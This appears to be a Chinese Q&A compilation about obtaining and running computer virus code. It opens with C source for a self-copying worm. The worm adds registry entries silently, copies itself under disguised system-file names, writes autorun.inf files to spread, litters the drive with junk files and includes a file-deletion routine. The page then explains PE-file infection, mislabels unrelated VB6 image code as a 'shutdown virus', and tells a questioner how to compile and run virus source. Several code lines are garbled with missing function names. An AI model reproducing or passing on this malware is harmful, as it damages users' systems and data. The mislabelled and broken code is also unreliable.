("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0)
return 0;
else
return 2;
}
/*=====================================================================*/
/*
函数:添加注册表项
成功返回0,失败返回1
*/
int add_reg()
{
FILE *output;
if((output=fopen("$$$$$","w"))!=NULL)
{
fprintf(output,regadd);
fclose(output);
spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
}
}
/*=====================================================================*/
/*
函数:复制病毒 + Autorun.inf自动运行
*/
void _virus()
{
int i,k;
FILE *input,*output;
char *files_svchost[SVCHOST_NUM]=
{"svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\syste
m32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};
char temp[2][20]={"c:\\svchost.com","c:\\autorun.inf"};
for(i=0;i<SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM;
}
}
for(i=0;i<SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<24;k++)
{
(files_svchost[i],temp[0]);
if((output=fopen(temp[1],"w"))!=NULL)
{
fprintf(output,"%s",autorun);
fclose(output);
}
temp[0][0]++;
temp[1][0]++;
}
i=SVCHOST_NUM;
}
}
}
/*=====================================================================*/
/*
函数:制造垃圾文件
*/
void make_rubbish()
{
int i;
FILE *output;
srand(0);
for(i=0;i<RUBBISH_NUM;i++)
{
int n;
char s[30];
n=rand();
sprintf(s,"C:\\DESTORY_感染_%d",n);
if((output=fopen(s,"w"))!=NULL)
{
fprintf(output,"%ld%s",n*n,s);
fclose(output);
}
}
}
/*=====================================================================*/
/*
函数:删除文件
*/
void remove_files()
{
long done;
int i;
struct _finddata_t ffblk;
char *remove_files[3]={"*.txt","*.doc","*.xls"};
for(i=0;i<3;i++)
{
if(_findfirst(remove_files[i],&ffblk)==-1) continue;
while(!done)
{
remove(ffblk.name);
_findnext(done,&ffblk);
}
_findclose(done);
}
}
/*=====================================================================*/
/*
主程序
使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面,于后台执行
*/
int main(int argc,char **argv)
{
int contral=0;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto next1;
autorun_explorer();
spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
next1:
add_reg();
_virus();
make_rubbish();
/* remove_files(); */
spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);
return 0;
}
其他的恐怕只能告诉你网址了
比如黑客联盟的http://www.chinahacker.com/
参考资料: http://hi..com/wubeip111/blog/item/3f63e20ad515cd1d95ca6bd2.html
7. 病毒代码原理,怎样制造病毒代码。求病毒代码
蠕虫也是一种病毒,因此具有病毒的共同特征。一般的病毒是需要的寄生的,它可以通过自己指令的执行,将自己的指令代码写到其他程序的体内,而被感染的文件就被称为”宿主”,例如,windows下可执行文件的格式为pe格式(Portable Executable),当需要感染pe文件时,在宿主程序中,建立一个新节,将病毒代码写到新节中,修改的程序入口点等,这样,宿主程序执行的时候,就可以先执行病毒程序,病毒程序运行完之后,在把控制权交给宿主原来的程序指令。可见,病毒主要是感染文件,当然也还有像DIRII这种链接型病毒,还有引导区病毒。引导区病毒他是感染磁盘的引导区,如果是软盘被感染,这张软盘用在其他机器上后,同样也会感染其他机器,所以传播方式也是用软盘等方式。
8. vb6.0关机病毒源码
Dim xs As Double, ys As Double
If Image1.Stretch = True Then '如果图像框控件自适应图像大小属性为真
Dim imgW&, imgH&, XX&
imgW = CLng(Me.ScaleX(Image1.Picture.Width, vbMillimeters) / 100)
'将图像框里图片宽度转为毫米 然后除以100赋值给变量imgw
imgH = CLng(Me.ScaleY(Image1.Picture.Height, vbMillimeters) / 100)
'同上 将高度转换 以下代码 四则运算没什么好解释的了
xs = Image1.Width / imgW
x = x * xs
w = w * xs
ys = Image1.Height / imgH
y = y * ys
h = h * ys
End If
9. 我有病毒的源代码,请问如何执行病毒,求大师
使用相应的编译器打开
源代码的文件
或者是把源码输入进去
然后编译成exe
就可以运行了